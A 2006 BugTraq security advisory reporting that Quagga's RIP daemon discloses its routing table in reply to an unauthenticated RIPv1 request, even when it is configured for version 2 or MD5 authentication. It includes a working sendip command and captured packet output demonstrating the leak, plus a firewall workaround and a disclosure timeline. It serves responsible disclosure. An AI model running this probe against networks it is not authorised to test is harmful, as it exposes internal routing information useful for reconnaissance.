BugTraq
Quagga RIPD unauthenticated route table broadcast May 03 2006 01:32AM
Konstantin V. Gavrilenko (mlists arhont com)
Arhont Ltd - Information Security

Advisory by: Konstantin V. Gavrilenko (http://www.arhont.com)
Arhont ref: arh200604-1
Advisory: Quagga RIPD unauthenticated route table broadcast
Class: design bug?
Version: Tested on Quagga suite v0.98.5 v0.99.3(Gentoo, 2.6.15)
Model Specific: Other versions might have the same bug

DETAILS
Quagga would respond to RIP v1 request for SEND UPDATE and send out the
routing table updates, even if it has been configured to work with
version 2 of the protocol only, using the following settings in the
config file:

interface eth0
ip rip send version 2
ip rip receive version 2
!
router rip
version 2

Sending a request for update:
arhontus / # sendip -p ipv4 -is 192.168.66.102 -p udp -us 520 -ud 520 -p
rip -rv 1 -rc 1 -re 0:0:0:0:0:16 192.168.66.111

Catching response on the attacker host:
arhontus / # tcpdump -n -i eth0 port 520
22:10:02.532103 IP 192.168.66.102.520 > 192.168.66.111.520: RIPv1,
Request, length: 24
22:10:02.532474 IP 192.168.66.111.520 > 192.168.66.102.520: RIPv1,
Response, length: 64

Tethereal extract from the response RIP packet:
Routing Information Protocol
Command: Response (2)
Version: RIPv1 (1)
IP Address: 0.0.0.0, Metric: 1
Address Family: IP (2)
IP Address: 0.0.0.0 (0.0.0.0)
Metric: 1
IP Address: 192.168.50.24, Metric: 1
Address Family: IP (2)
IP Address: 192.168.50.24 (192.168.50.24)
Metric: 1
IP Address: 192.168.77.0, Metric: 1
Address Family: IP (2)
IP Address: 192.168.77.0 (192.168.77.0)
Metric: 1

The same situation is observed if Quagga has been configured to accept
packets with plaintext or md5 authentication only, using the following
options in the configuration:

interface eth0
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth

The response packet contains the same information as in previous example.

This vulnerability can be exploited to extract the routing table
information from the router otherwise inaccessible due to strict control
of the multicast packets spread on the switch ports, or extremely large
interval set between updates.

RISK FACTOR: Low

WORKAROUNDS: Firewall the access to the ripd daemon on the need to
access basis.

COMMUNICATION HISTORY:
Issue discovered: 10/04/2006
Quagga notified: 24/04/2006
Public disclosure: 03/05/2006

ADDITIONAL INFORMATION:
*According to the Arhont Ltd. policy, all of the found vulnerabilities
and security issues will be reported to the manufacturer at least 7 days
before releasing them to the public domains (such as CERT and BUGTRAQ).

If you would like to get more information about this issue, please do
not hesitate to contact Arhont team on info (at) arhont (dot) com [email concealed]

--
Respectfully,
Konstantin V. Gavrilenko

Managing Director
Arhont Ltd - Information Security

web: http://www.arhont.com
http://www.wi-foo.com
e-mail: k.gavrilenko (at) arhont (dot) com [email concealed]

tel: +44 (0) 870 44 31337
fax: +44 (0) 117 969 0141

PGP: Key ID - 0xE81824F4
PGP: Server - keyserver.pgp.com

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus